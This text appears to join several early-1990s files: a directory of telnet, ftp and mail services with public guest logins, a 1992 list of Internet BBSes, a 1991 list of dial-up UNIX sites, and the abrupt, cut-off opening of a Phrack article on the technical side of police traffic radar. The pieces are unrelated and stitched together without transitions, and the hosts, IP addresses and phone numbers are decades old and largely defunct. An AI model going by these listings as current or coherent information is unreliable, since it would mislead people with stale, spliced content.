telnet archie.mcgill.ca or 132.206.2.3 (Canada) telnet archie.funet.fi or 128.214.6.100 (Finland/Europe) telnet archie.au or 128.184.1.4 (Australia/New Zealand) telnet cs.huji.ac.il or 132.65.6.5 (Israel) telnet archie.doc.ic.ac.uk or 146.169.3.7 (United Kingdom/Ireland) telnet archie.sura.net or 128.167.254.179 (Maryland, USA) telnet archie.unl.edu (Password: archie1) (Nebraska, USA) telnet archie.ans.net or 147.225.1.2 (New York, USA) telnet archie.rutgers.edu or 128.6.18.15 (New Jersey, USA) OFFERS: Internet anonymous FTP database. (Login: archie)

Archie Mail Servers

mail archie@<INSERT ONE OF ABOVE ADDRESSES HERE> Subject: help

OFFERS: Alterative Archie access to those without ftp or telnet access.

Automated Data Service

telnet tycho.usno.navy.mil or 192.5.41.239

Login: ads

OFFERS: Navigational/Time/Astronomical Information.

CARL

telnet pac.carl.org or 192.54.81.128

OFFERS: Online database, book reviews, magazine fax delivery service.

CHAT

telnet debra.doc.ca or telnet 192.16.212.15

Login: chat

OFFERS: Conversion of Hypertext Access Technical information files.

Cheeseplant's House

telnet orchid.csv.warwick.ac.uk 2001 or 137.205.192.5 OFFERS: Online chat service in a very unique format.

Chess Server

telnet lark.utah.edu 5000 or telnet 128.110.128.72 5000 OFFERS: Play/watch real‑time chess with human opponents. Type "help" for help

C64 Archive Server

mail twtick@corral.uwyo.edu

Subject: Mail‑Archive‑Request Body‑of‑letter: help (hit return) end

Dante Project

telnet library.dartmouth.edu or 129.170.16.11

Login: connect dante

OFFERS: Divine Comedy and reviews.

Distance Educational Data

telnet sun.nsf.ac.uk or telnet 128.86.8.7

(Login: janet Hostname: uk.ac.open.acs.vax Username: icdl)

Document Site

ftp ocf.berkeley.edu or ftp 128.32.184.254

OFFERS: Many docs, including 5 purity tests, the Bible, lyrics.

Earthquake Information

finger quake@geophys.washington.edu

OFFERS: Recent quake information (location, time, magnitude, etc.)

E‑Math

telnet 130.44.1.100 (Login: e‑math Password: e‑math) OFFERS: American Math Society sponsored BBS with software and reviews.

FEDIX

telnet fedix.fie.com or telnet 192.111.228.1

Login: fedix

OFFERS: Information on scholarships, minority assistance, etc.

Freenet

telnet freenet‑in‑a.cwru.edu or 129.22.8.82 (Cleveland) telnet yfn.ysu.edu or 192.55.234.27 (Youngstown)

OFFERS: USA Today Headline News, Sports, etc.

FTP Mail

mail ftpmail@decwrl.dec.com

Subject:(hit return) Body‑of‑letter: help (return) quit OFFERS: ftp via e‑mail

Genetics Bank

mail gene‑server@bchs.uh.edu

Subject: help

OFFERS: Genetic database accessible via e‑mail.

Geographic Server

telnet martini.eecs.umich.edu 3000 or 141.212.100.9 3000

Gopher

telnet consultant.micro.umn.edu

Login: gopher

OFFERS: Access to many interesting features.

Graf‑Bib

mail graf‑bib@decwrl.dec.com

Subject: help

Body‑of‑letter: send index

OFFERS: Graphics bibliography

Ham Radio Callbook

telnet marvin.cs.buffalo.edu 2000 or 128.205.32.4 2000 OFFERS: National ham radio call‑sign callbook.

INFO ‑ Rutgers CWIS

telnet hangout.rutgers.edu 98 or 128.6.26.25 98

OFFERS: Dictionary, thesaurus, CIA world fact book, quotations database.

Internet Resource Guide

ftp nnsc.nsf.net

OFFERS: Compressed/tar'd list of net resources in /resourceguide.txt.tar.Z

IRC Telnet Client

telnet bradenville.andrew.cmu.edu or 128.2.54.2

OFFERS: Internet Relay Chat access.

Library of Congress

telnet dra.com or 192.65.218.43

OFFERS: COPY of Library of Congress

(Assumes terminal is emulating a vt100)

List of Lists

ftp ftp.nisc.sri.com or ftp 192.33.33.22

mail mlol‑request@wariat.nshore.ncoast.org

OFFERS: List of interest groups/e‑mail lists in /netinfo/interest‑groups.

Lyric Server

ftp cs.uwp.edu

OFFERS: Lyrics (/pub/music/lyrics/files) in text files for anonymous ftp.

Mail Server/User Lookup

mail mail‑server@pit‑manager.mit.edu

Usage: In body of mail message: send usenet‑addresses/[name searching for]

Melvyl

telnet melvyl.ucop.edu or 31.1.0.1

OFFERS: Access to various libraries.

Type "other" at prompt to see others.

NASA Headline News

Finger nasanews@space.mit.edu

OFFERS: Daily press releases from NASA.

NASA SpaceLink

telnet spacelink.msfc.nasa.gov or 128.158.13.250

OFFERS: Latest NASA news, including shuttle launches and satellite updates.

NED

telnet ipac.caltech.edu or telnet 131.215.139.35

Login: ned

OFFERS: NASA Extragalactic Database.

NetLib

mail netlib@ornl.gov

Subject:(hit return)

Body‑of‑letter: send index

OFFERS: Math software.

Oceanic Information Center

telnet delocn.udel.edu or telnet 128.175.24.1

Login: info

Oracle

mail oracle@iuvax.cs.indiana.edu

OFFERS: The Usenet Oracle!

Mail with subject as "help" for more info.

PENpages

telnet psupen.psu.edu or telnet 128.118.36.5

Login: PNOTPA

OFFERS: Agricultural info (livestock reports, etc.)

SDDAS

telnet espsun.space.swri.edu 540 or telnet 129.162.150.99 OFFERS: SW Research Data Display & Analysis Center.

SERVICES

telnet wugate.wustl.edu or 128.252.120.1

Login: services

OFFERS: Access to nearly every listed service!

Software Server

telnet charlie.secs.csun.edu 5742 or 130.166.2.150 5742 OFFERS: Similar to Archie.

Type help for a list of commands.

StatLib Server

mail statlib@lib.stat.cmu.edu

Mail with line: send index.

OFFERS: Programs, Datasets, etc. for statisticians.

STIS

telnet stis.nsf.gov or 128.150.195.40

Login: public

OFFERS: Science & Technology Information System.

Supreme Court Rulings

ftp ftp.cwru.edu

OFFERS: ASCII files of Supreme Court rulings in directory /hermes

Usenet News MailServer

mail [newsgroup]@ucbvax.berkeley.edu

Allows you to post to a Usenet newsgroup via e‑mail. Useful if you have read‑only access to Usenet news.

Note: .'s become ‑'s Ex. alt.test ‑> alt‑test

UNC BBS

telnet samba.acs.unc.edu or 128.109.157.30

Login: bbs

OFFERS: Access to Library of Congress and nationwide libraries.

WAIStation

telnet quake.think.com or 192.31.181.1

Login: wais

OFFERS: Wide Area Information Service

FTP think.com for more info.

Weather Service

telnet madlab.sprl.umich.edu 3000 or 141.212.196.79 3000 OFFERS: City/State forecasts, ski conditions, earthquake reports, etc.

World‑Wide Web

telnet info.cern.ch or telnet 128.141.201.74

OFFERS: Information service with access to various documents, lists, and services.

* NOTE: NO LOGIN NAMES OR PASSWORDS ARE REQUIRED UNLESS STATED OTHERWISE! * If it prompts you for a login name, you did something wrong, or are not running on a machine that the system you telnetted to supports!

________________________________________

+++++ Zamfield's Wonderfully Incomplete, Complete Internet BBS List +++++

FOREWORD

~~~~~~~~

The following list has been compiled with the help of the wonderfully generous crowd of folks who associate with Internet or UseNet. I owe them many thanks and please keep the info coming.

I, and many others, have a few things to say about these BBSes in general. So bear with me, or skip ahead, but do take a look later.

1). These BBSes are provided as a service to anyone on Internet. Not just you. 2). While you may not directly pay for these services someone does. 3). You are a guest, and please keep that in mind while using these BBSes.

Okay, that wasn't so bad after all.

Most of these BBSes offer services unique to BBSing. Some offer small scale versions of standard Internet services. Keep in mind that mail or articles posted on BBSes do not reach everyone in the world, and if you can get to UseNet, you will probably find better responses. Most of the files on these BBSes can be found by anonymous FTP, so don't tie up the system with files if you have FTP. Do be considerate on these BBSes, some people aren't using telnet or rlogin to get to these, some people still dial numbers with modems at their homes. :‑)

For users of JANET (UK), you may access these BBSes through first connecting to UK.AC.NFSNET‑RELAY.TELNET or PAD.UK.AC.NFSNET‑RELAY.TELNET. Likewise, users of Internet can get to JANET by telnet SUN.NFS.AC.UK, login as janet.

Zamfield@Dune.EE.MsState.Edu

========================================

2/6/92

NAME ADDRESS LOGIN BBS Software

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AfterFive winner.itd.com 9999

‑‑ 128.160.2.248 9999

‑‑ Hours: 5 p.m. to 8 a.m. CST. Please no logins during the day.

‑‑ MUCK ‑ enhanced tinymuck2.2.3d‑beta. Based on Bourbon Street, New Orleans. May not be appropriate for all ages, especially very young children as the database is rather graphic in section describing strip tease, and bars.

‑‑ BBS is Citadel like Quartz and Grind. No HotKeys though. Supports 59 concurrent users.

‑‑ This site is running on a very fast machine, but you might experience network delays. Contact Howard, Darrel, Trish, Wolvercuss, Akbaar or Captain, wizards, if you wish to work on any aspect of After‑Five.

BadBoy's Inn 130.18.80.26 bbs Pirate 2.0

‑‑ badboy.itd.msstate.edu

‑‑ Boards, Talk, Chat, Mail

‑‑ Test site for new Pirate Software.

‑‑ Pirate 2.0 kicks, if it would work all the time!

Campus_d 35.204.192.2 LOGIN CAMPUS_D

‑‑ umde.dbrn.umich.edu

‑‑ Currently down and contemplating permanent removal. (8/2/91) ‑‑ Send comments/condemnations/pleading/apologizing/reminiscing/etc. to DEN@UMDE.DBRN.UMICH.EDU

Cimarron (in Spanish) bugs.mty.itesm.mx bbs Pirate 1.0

‑‑ 131.178.17.60

‑‑ Nice BBS, too bad it is all in Spanish. Good place to get acquainted with if you are trying to learn Spanish, lots of conversations to look at. Cimarron means Wild Dog or Untamed.

‑‑ This BBS seems to be a limited access site. I have gained access only during late hours CST. I will try to get more info on this.

Cleveland Free‑Net 129.22.8.75 (cwns16.ins.cwru.edu) CWRUBBS

‑‑ 129.22.8.76 (cwns9.ins.cwru.edu)

‑‑ 129.22.8.82 (cwns10.ins.cwru.edu)

‑‑ freenet‑in‑a.cwru.edu

‑‑ freenet‑in‑b‑cwru.edu

‑‑ freenet‑in‑c‑cwru.edu

‑‑ Usenet, Internet, MUD, USA Today Online. Local mail, and Interest Groups.

CueCosy cue.bc.ca cosy Cosy 4.0

‑‑ 134.87.11.200

‑‑ Conferences and Topics, EAN Mail, Usenet, FTP, downloads Kermit & Xmodem, Online Unix course, some local files.

Cybernet Waffle BBS 131.91.80.13 bbs Waffle

‑‑ shark.cs.fau.edu

‑‑ Nice BBS, but I still haven't gotten word on whether I have been validated or not. And no response to my mail either. Lots of conferences, and Magpie Chat. Information for Floridians, GNU, computers, alternate PUBNET, recreational, science, social, Unix‑PC; unsure about files, but still nice.

Delft University BBS 130.161.180.68 BBS

‑‑ tudrwa.tudelft.nl

‑‑ In Holland, mostly Dutch.

‑‑ Files, messages, chat areas

Endless Forest 137.48.1.5 2001

‑‑ forest.unomaha.edu 2001

‑‑ Boards, E‑mail. Reminds me of WWIV BBS.

Hall of Doom servax.fiu.edu

‑‑ 131.94.64.2

‑‑ login as WEATHER, passwd WEATHER

‑‑ select 666

‑‑ login as new.

Heartland Peoria Illinois FreeNet

‑‑ 136.176.10.10 fnguest

‑‑ heartland.bradley.edu

‑‑ Mail, Public Forum, Recreation, Calendar, Social services, Senior center, Teen center, Local job & government information, Legal, Medical, Tax, & Invest/Banking Forums SIGs, Library, Home & Garden, Science & Tech, & Education Forums.

Hewlett‑Packard BBS hpcvbbs.cv.hp.com

‑‑ 15.255.72.16

‑‑ has tech help, and 48SX files/programs.

IDS DataForum 192.67.241.11 guest

‑‑ ids.jvnc.net

‑‑ IDS DataForum is a public access system run on a DEC VAX. It is menu driven, supports VT100, and ANSI graphics.

‑‑ Features, TELNET, FINGER, Weather Underground, Ham Callsign Book. Adds Internet Mail (VMS Mail).

‑‑ Includes Entertainment, such as, International MUDs, local‑only games, CONQUEST & GALACTIC TRADER, and CB Simulator for CHATS.

‑‑ RIME, PC‑BBS messaging network, Usenet NEWS with "nearly" full newsfeed.

‑‑ DialOut service, online Game Developer Conference, and BBS software available as well.

‑‑ Local access at (401)‑884‑9002, (V.32, Telebit/PEP, USR HST, V.42bis).

‑‑ More info at ids‑info@idsvax.ids.com

ISCA isca01.isca.uiowa.edu iscabbs DOC (Citadel)

‑‑ grind.isca.uiowa.edu

‑‑ 128.255.19.233

‑‑ 128.255.19.175

Mars Hotel Mars.EE.MsState.Edu bbs Pirate

‑‑ 130.18.64.3

‑‑ Boards, Talk, Chat, IRC, Mail.

‑‑ Fairly extensive files,

‑‑ ftp'able, Kermit, XYZmodems,

‑‑ Died recently due to irreparable hardware failures. This system will probably remain down for a year or so, or indefinitely if another machine is not found for it. I will continue to update its status if any changes occur.

‑‑ Mars is/was a Sparc 4/110 that lost a Mongo chip. The EE department might consider ordering a replacement, but has no idea where to get one. Information will be forwarded if sent to Zamfield@dune.ee.msstate.edu. Also, if anyone has a spare 4/110 the EE department said that would do just fine.

‑‑ Further information, offerings, etc, contact Zamfield@dune.ee.msstate.edu and I will facilitate the rebirth of Mars if possible.

National Education BBS testsun3.nersc.gov bbs Pirate

‑‑ shadowfax.nersc.gov

‑‑ 128.55.128.183

‑‑ 128.55.128.64

‑‑ Boards, Talk, Chat, Mail.'source' file section, but no files. HAS GONE PRIVATE, or so I have been told. (9/22/91)

Netcom netcom.netcom.com guest + <CR> at passwd

‑‑ 192.100.81.100

‑‑ Full Unix service. Money for access. $15.50/month ($17.50 for invoiced billing)

‑‑ (408) 241‑9760/9794 (San Jose, CA) and

‑‑ (415) 424‑0131 (Palo Alto, CA).

Nyx BBS isis.cs.du.edu new

‑‑ 130.253.192.9

‑‑ Full news feed, Local downloads, shell access (with validation), and Ftp. It is a completely free public access Unix system fun by the University of Denver's Math and Computer Science Department.

‑‑ Sysop: Professor. Andrew Burt. The system is run by donations on a donated Pyramid 90x with a homebrew menuing system

Olajier 129.31.22.7 Olajier <passwd Olajier>

‑‑ leo.ee.ic.ac.uk

‑‑ Capitals are important for both the login and passwd. This BBS is at Imperial College in London.

OuluBox (Finnish) tolsun.oulu.fi box

‑‑ 130.231.96.16

‑‑ Can set English as preferred language, said to switch to Finnish at the most inconvenient time. IRC.

The Picayune star96.nodak.edu 20

‑‑ star24.nodak.edu or star12.nodak.edu for slower speeds.

‑‑ 134.129.107.131

‑‑ North Dakota Higher Education Computer Network.

‑‑ Limited net news, file areas, tetris online, local e‑mail.

‑‑ A 386 running unix, 2 80 meg drives, 600 users give or take a few.

Quartz Quartz.Rutgers.Edu bbs Citadel

‑‑ 128.6.60.6

‑‑ Rooms/Boards.

‑‑ Suggest MUD to chat.

Samba North Carolina 128.109.157.30 bbs Modified XBBS

‑‑ samba.acs.unc.edu

‑‑ (919)‑962‑9911

‑‑ Offers vi, emacs, rn, NEWS, MAIL, local messaging, SIGS, Conferencing, Files (Kermit/FTP), & INFO limited NewsFeed (8/2/91).

Softwords COSY softwords.bc.ca cosy Cosy

‑‑ 134.87.11.1

SpaceLink BBS spacelink.msfc.nasa.gov

‑‑ 128.158.13.250

Spies In The Wires doomsday.spies.com bbs

‑‑ 130.43.2.220

‑‑ Full UseNet NewsFeed, Posting to UseNet.

‑‑ IRC (for validated users).

‑‑ Appears to have shut down. 12/6/91

TriState Online 129.137.100.1 visitor FreeNetIII

‑‑ tso.uc.edu

‑‑ new FreeNet site.

Virginia Tech Cosy vtcbx.csn.vt.edu cosyreg

‑‑ 128.173.5.10 bbs (for list)

‑‑ Virginia Tech Conferencing System. Offers local conferencing, up to date listing of local BBSes and read only Usenet NEWS. Tons of messages.

Youngstown Free‑Net yfn.ysu.edu visitor

‑‑ 192.55.234.27

Unknown centaur.ucsd.edu bbs

‑‑ 128.54.16.14

The World world.std.com new

‑‑ 192.74.137.5

‑‑ Public access Unix system. 19.2, 9600, 2400, & 1200 baud modem connections. 3 GB disk storage. CompuServe Packet Network access and SLIP connection up to T1.

‑‑ Signup, dial 617‑739‑WRLD, type new. Basic rates are $2/hr 24 hrs/day and $5 monthly fee. 20/20 plan, $20 for 20 hrs, including monthly fee. Also available from Compuserve Packet Network. $5.60 surcharge is added to monthly bill. Further info at staff@world.std.com

‑‑ E‑mail to Internet, UUCP, BITNET, CSNET, EUNET, JANET, JUNET, Fidonet, BIX, Compuserve, Applelink and MCImail.

‑‑ USENET, ClariNet, Electronic Mailing Lists, Chatting, Unix Software, GNU Software, Games, Online Book Initiative, AlterNet Access, Internet.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SERVICES

~~~~~~~~

The following is a list of useful services that most BBSers are interested in. I have not checked any of these except Archie. If you have more info about these or if you know of other to add, please mail me:

Zamfield@Dune.EE.MsState.EDU.

========================================

Service Address Login

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Archie quiche.cs.mcgill.ca archie

‑‑ 132.206.2.3

Cheeseplant's House 137.205.192.5 2001

‑‑ orchid.csv.warwick.ac.uk

‑‑ This is a dedicated Chat program run by Daniel Stephens in Warwick University in England.

Cat Chat 137.205.192.5 2000

‑‑ Another ChatServer. See Cheeseplant's House.

DDN Network Information Center

‑‑ nic.ddn.mil

‑‑ 192.67.67.20

‑‑ TACNEWS, WHOIS Server, NIC

GeoServer Martini.eecs.umich.edu 3000

‑‑ 141.212.100.9

IRC Client bradenville.andrew.cmu.edu

‑‑ 128.2.54.2

‑‑ not all IRC commands supported.

Library Systems ‑>FTP<‑ vaxb.acs.unt.edu

‑‑ This site contains a huge, 100‑150 page, guide to Internet libraries. The file is under the library directory. Send thanks and responses to Billy Barron, BILLY@vaxb.acs.unt.EDU.

Lyric Server ‑>FTP<‑ cs.uwp.edu

‑‑ These files are available via anonymous ftp. This is not really a Telnet service, but it is nice to know about so I included it.

National Ham Radio Call‑Sign Callbook

‑‑ 128.205.32.4 2000

‑‑ marvin.cs.Buffalo.Edu

‑‑ I am very impressed with this service I heard that people had trouble logging into this site, but I never encountered a login prompt, I just started using it.

NCSU Services ccvax1.cc.ncsu.edu INFO or PUBLIC

‑‑ 128.109.153.4

Network Information Service (Univ. of California at Berkeley)

‑‑ mailhost.berkeley.edu 117

‑‑ 128.32.136.9, 117

‑‑ 128.32.136.12, 117

‑‑ 128.32.206.9 117

‑‑ 128.32.206.12 117

OCEANIC 128.175.24.1

‑‑ delocn.udel.edu

‑‑ Ocean info center, from the U. of Delaware. Contains technical and scientific info on oceanic research. DOS software for viewing oceanographic graphics. Type <$> to logout (no brackets).

Slugnet chat system cons1.mit.edu

‑‑ 18.80.0.88, 2727

‑‑ sorta like IRC.

UM‑Weather Service madlab.sprl.umich.edu 3000

‑‑ 141.212.196.79 3000

Vatech Server 128.173.16.6

‑‑ vtcbx.cc.vt.edu

WAIS server hub.nnsc.nsf.net wais

‑‑ 192.31.103.7

‑‑ Gives access to online documents. More info can be obtained from THINK.COM.

Thomas A. Kreeger (Zamfield@Dune.EE.MsState.Edu)

________________________________________

nixpub short listing

Open Access UNIX (*NIX) Sites [both Fee and No Fee]

[ September 13, 1991 ]

Legend: fee/contribution ($), no fee (‑$), hours (24), not (‑24) shell (S), USENET news (N), e‑mail (M), multiple lines (T) Telebit PEP speed on main number (+P), Telebit on other line[s] (P) Courier HST 9600 bps on main number (+H), Courier on other line[s] (H) V.32 on main number (+V), V.32 on other line[s] (V) anonymous uucp (A), archive site ONLY ‑ see long form list (@)

Updated

Last Telephone # Sys‑name Location Baud Legend

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑

08/91 201‑759‑8450^ tronsbox Belleville NJ 3‑96 24 ‑$ MN+PST 04/91 203‑661‑2873 admiral Greenwich CT 3/12/24/96 24 ‑$ AHMN+PT+V 09/91 206‑328‑4944^ polari Seattle WA 12 24 $ MNPST 05/91 206‑367‑3837^ eskimo Seattle WA 3/12/24 24 $ MNST 04/91 209‑952‑5347 quack Stockton CA 3/12/24/96 24 $ MN+PS 12/90 212‑420‑0527^ magpie NYC NY 3/12/24/96 24 ‑$ APT 12/90 212‑431‑1944^ dorsai NYC NY 3/12/24 24 $ MNT 12/90 212‑675‑7059^ marob NYC NY 3/12/24/96 24 ‑$ APT 12/90 213‑397‑3137^ stb Santa Monica CA 3/12/24/96 24 ‑$ A+PS 01/91 215‑336‑9503^ cellar Philadelphia PA 3/12/24/96 24 $ +HMN+V 06/91 215‑348‑9727 lgnp1 Doylestown PA 3/12/24/96 24 ‑$ AMN+P 12/90 216‑582‑2460^ ncoast Cleveland OH 12/24/96 24 $ MNPST 07/91 217‑789‑7888 pallas Springfield IL 3/12/24/96 24 $ HMNSTV 07/91 219‑289‑0282 nstar Notre Dame IN 24/96 24 $ +HMNPST+V 08/91 301‑625‑0817 wb3ffv Baltimore MD 12/24/96 24 ‑$ AHNPT+V 07/91 303‑871‑4824^ nyx Denver CO 3/12/24 24 ‑$ MNST 08/91 312‑248‑0900 ddsw1 Chicago IL 3/12/24/96 24 $ AMNPSTV 04/90 312‑283‑0559^ chinet Chicago IL 3/12/24/96 24 $ HNPT 10/89 312‑338‑0632^ point Chicago IL 3/12/24/96 24 ‑$ HNPST 09/90 312‑714‑8568^ gagme Chicago IL 12/24 24 $ MNS 06/90 313‑623‑6309 nucleus Clarkston MI 12/24 24 ‑$ AM 10/90 313‑994‑6333 m‑net Ann Arbor MI 3/12/24 24 $ T 08/89 313‑996‑4644^ anet Ann Arbor MI 3/12 24 $ T 08/89 314‑474‑4581 gensis Columbia MO 3/12/24/48/ 24 ‑$ MS 08/90 401‑455‑0347 anomaly Esmond RI 3/12/24/96 24 ‑$ MN+PS 09/91 407‑299‑3661^ vicstoy Orlando FL 12/24 24 ‑$ MNS 06/91 407‑438‑7138^ jwt Orlando FL 12/24/96 24 ‑$ MNP 11/90 408‑241‑9760^ netcom San Jose CA 12/24/96 24 $ MNPST 09/89 408‑245‑7726^ uuwest Sunnyvale CA 3/12/24 24 ‑$ N 08/91 408‑423‑9995 cruzio Santa Cruz CA 12/24 24 $ MNPT 07/91 408‑458‑2289 gorn Santa Cruz CA 3/12/24/96 24 ‑$ MN+PST 10/89 408‑725‑0561^ portal Cupertino CA 3/12/24 24 $ MNT 12/90 408‑739‑1520^ szebra Sunnyvale CA 3/12/24/96 24 ‑$ MN+P 07/91 408‑867‑7400^ spies Saratoga CA 12/24 24 ‑$ MNST 09/91 408‑996‑7358^ zorch Cupertino CA 12/24/96 24 $ MNPT 06/91 412‑431‑8649^ eklektik Pittsburgh PA 3/12/24 24 $ MNST 06/91 414‑241‑5469^ mixcom Milwaukee WI 12/24/96 24 $ MNST 09/91 414‑734‑2499 edsi Appleton WI 3/12/24 24 $ MN 01/91 415‑223‑9768^ barbage El Sobrante CA 3/12/24/48 24 ‑$ 11/90 415‑294‑8591 woodowl Livermore CA 12/24/19.2 24 ‑$ MN+P 11/89 415‑332‑6106^ well Sausalito CA 12/24 24 $ MNST 06/91 415‑623‑8652^ jack Fremont CA 3/12/24/96 24 ‑$ MN+PST 06/91 415‑826‑0397^ wet San Francisc CA 12/24 24 $ MNPSTV 04/91 415‑949‑3133^ starnet Los Altos CA 3/12/24/96 24 $ MNPSTV 05/90 415‑967‑9443^ btr Mountain Vie CA 3/12/24 24 $ HMNPSTV 11/89 416‑452‑0926 telly Brampton ON 12/24/96 24 $ MN+P 12/88 416‑461‑2608 tmsoft Toronto ON 3/12/24/96 24 $ MNS 02/90 502‑957‑4200 disk Louisville KY 3/12/24 24 $ MNST 08/91 503‑254‑0458^ bucket Portland OR 3/12/24/96 24 ‑$ MN+PST+V 02/91 503‑297‑3211^ m2xenix Portland OR 3/12/24/96 24 ‑$ MN+PST+V 03/91 503‑640‑4262^ agora PDX OR 12/24/96 24 $ MNST 05/90 503‑644‑8135^ techbook Portland OR 12/24 24 $ MNST 09/91 508‑655‑3848 unixland Natick MA 12/24/96 24 $ HMNPSTV 06/91 512‑346‑2339^ bigtex Austin TX 96 24 ‑$ A+PS 10/89 513‑779‑8209 cinnet Cincinnati OH 12/24/96 24 $ MN+PS 08/90 514‑844‑9179 tnl Montreal PQ 3/12/24 24 ‑$ MS 01/90 517‑487‑3356 lunapark E. Lansing MI 12/24 24 ‑$ 12/88 518‑346‑8033 sixhub upstate NY 3/12/24 24 $ MNST 07/91 602‑293‑3726 coyote Tucson AZ 3/12/24/96 24 ‑$ MN+P 07/91 602‑649‑9099^ telesys Mesa AZ 12/24/96 24 $ AMN+PS 12/90 602‑941‑2005^ xroads Phoenix AZ 12/24 24 $ NT 11/90 604‑576‑1214 mindlink Vancouver BC 3/12/24/96 24 $ HMNPT 12/90 604‑753‑9960 oneb Nanaimo BC 3/12/24/96 24 $ MN+PT 08/89 605‑348‑2738 loft386 Rapid City SD 3/12/24/96 24 $ MN+PS 04/91 606‑263‑5106 lunatix Lexington KY 3/12/24 24 ‑$ MNST 08/88 608‑273‑2657 madnix Madison WI 3/12/24 24 ‑$ MNS 09/90 612‑473‑2295^ pnet51 Minneapolis MN 3/12/24 24 ‑$ MNT 12/90 613‑237‑0792 latour Ottawa ON 3/12/24/96 24 ‑$ AMN+PS+V 12/90 613‑237‑5077 micor Ottawa ON 3/12/24/96 24 ‑$ MN+P 06/91 614‑868‑9980^ bluemoon Reynoldsburg OH 3/12/24/96 24 ‑$ +HMNPT 07/91 615‑288‑3957 medsys Kingsport TN 12/24/96 24 ‑$ AN+P 04/91 615‑896‑8716 raider Murfreesboro TN 12/24/96 24 ‑$ MNST+V 11/90 616‑457‑1964 wybbs Jenison MI 3/12/24/96 24 ‑$ MN+PST 06/91 617‑471‑9675^ fcsys Quincy MA 3/12/24/96 24 ‑$ AMN+V 12/90 617‑739‑9753^ world Brookline MA 3/12/24/96 24 $ MNPST 01/90 619‑259‑7757 pnet12 Del Mar CA 3/12/24/96 24 ‑$ MNPT 07/88 619‑444‑7006^ pnet01 El Cajon CA 3/12/24 24 $ MNST 06/91 703‑239‑8993^ tnc Fairfax Stat VA 3/12/24/96 24 ‑$ MNPT 12/89 703‑281‑7997^ grebyn Vienna VA 3/12/24 24 $ MNT 05/91 708‑833‑8126^ vpnet Villa Park IL 12/24/96 24 ‑$ MN+PST 06/91 713‑438‑5018^ sugar Houston TX 3/12/24/96 24 ‑$ N+PT 08/91 713‑568‑0480^ taronga Hoston TX 3/12/24 24 ‑$ MNST 10/89 713‑668‑7176^ nuchat Houston TX 3/12/24/96 24 ‑$ MN+PS 04/91 714‑278‑0862 alchemy Corona CA 12/24/96 24 ‑$ MN+PS 01/91 714‑635‑2863^ dhw68k Anaheim CA 12/24/96 24 ‑$ MN+PST 12/90 714‑821‑9671^ alphacm Cypress CA 12/24/96 24 ‑$ A+PT 12/90 714‑842‑5851^ conexch Santa Ana CA 3/12/24 24 $ AMNS 01/91 714‑894‑2246^ stanton Irvine CA 3/12/24 24 $ MNS 03/90 717‑657‑4997 compnect Harrisburg PA 3/12/24 24 ‑$ MNT 06/91 718‑424‑4183^ mpoint New York NY 3/12/24/96 24 $ +HMNS+V 04/91 718‑832‑1525^ panix New York Cit NY 12/24/96 24 $ MNPST 12/89 719‑632‑4111 oldcolo Colo Spgs CO 12/24/96 24 $ HMNT 12/90 808‑735‑5013 pegasus Honolulu HI 12/24/96/19 24 ‑$ MN+PST+V 12/90 812‑333‑0450 sir‑alan Bloominingto IN 12/24/19.2/ 24 ‑$ A+HMPTV 08/91 812‑421‑8523 aquila Evansville IN 12/24 24 $ AM 06/91 818‑401‑9611^ abode El Monte CA 24/96 24 $ MN+PST 03/91 900‑468‑7727 uunet Falls Church VA 3/12/24/96 24 $ AMN+PT+V 07/91 904‑456‑2003 amaranth Pensacola FL 12/24/96 24 ‑$ MN+P 09/91 906‑228‑4399 lopez Marquette MI 12/24 24 $ MN 06/91 908‑297‑8713^ kb2ear Kendall Park NJ 3/12/24/96 24 ‑$ AMNS+V 05/90 908‑846‑2460^ althea New Brunswic NJ 3/12/24 24 ‑$ MNS 08/91 916‑649‑0161^ sactoh0 Sacramento CA 12/24/96 24 $ MN+PSTV 01/91 919‑248‑1177^ rock RTP NC 3/12/24/96 24 $ MN 10/89 919‑493‑7111^ wolves Durham NC 3/12/24 24 $ MNS 08/91 +33‑1‑40‑35‑23‑49 gna Paris FR 12 24 ‑$ AMN+PT+V 11/90 +39‑541‑27858 xtc Rimini (Fo) IT 3/12/24/96 24 ‑$ HN+PT 09/91 +41‑61‑8115492 ixgch Kaiseraugst CH 3/12/24 24 ‑$ AMN+P 02/91 +44‑81‑853‑3965 dircon London UK 3/12/24 24 $ MN 11/90 +44‑81‑863‑6646 ibmpcug Middlesex UK 3/12/24/96 24 $ MST+V 06/91 +49‑30‑691‑95‑20 scuzzy Berlin DE 3/12/24/96 24 ‑$ A+HS 06/91 +49‑8106‑34593 gold Baldham DE 3/12/24/96 24 ‑$ AHMN+PT+V 01/91 +64‑4‑642‑260 cavebbs Wellington NZ 12/24 24 ‑$ MNT 11/90 +64‑4‑895‑478 actrix Wellington NZ 3/12/24/96 24 $ +HMNST 02/91 +64‑9‑645‑593 delphi Auckland NZ 3/12/24/96 24 ‑$ MNT+V 02/91 +64‑9‑817‑3725 kcbbs Auckland NZ 12/24/96 24 ‑$ MN+PTV

NOTE: ^ means the site is reachable using PC Pursuit.

Beating The Radar Rap Part 2 of 2

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 6 of 15

_____ BEATING THE RADAR RAP _____

/ / \

( 5/5 ) Part 2 of 2 : "The Technical Side" ( 5/5 )

\_/___/

by Dispater

_______________________________________

| |

| Introduction | Welcome to the second installment in this series where we |______________| will briefly explore some of the technical sides to the operations, error analysis of the police traffic RADAR unit, the basics of how this technology was developed, then how it was implemented, a list of common RADAR errors, and finally the technical analysis of various types of traffic RADAR by National Highway Safety Administration.

RADAR stands for Radio Detecting And Ranging. A traffic speed RADAR works under the principle of physicals called the "Doppler effect." This theory means that when a signal is reflected off of an object moving toward you, the signal will be at a higher frequency when it is closer to you than when the object is farther away or at the initial position. So the "Doppler effect" is THE basis for the use of the traffic speed RADAR.

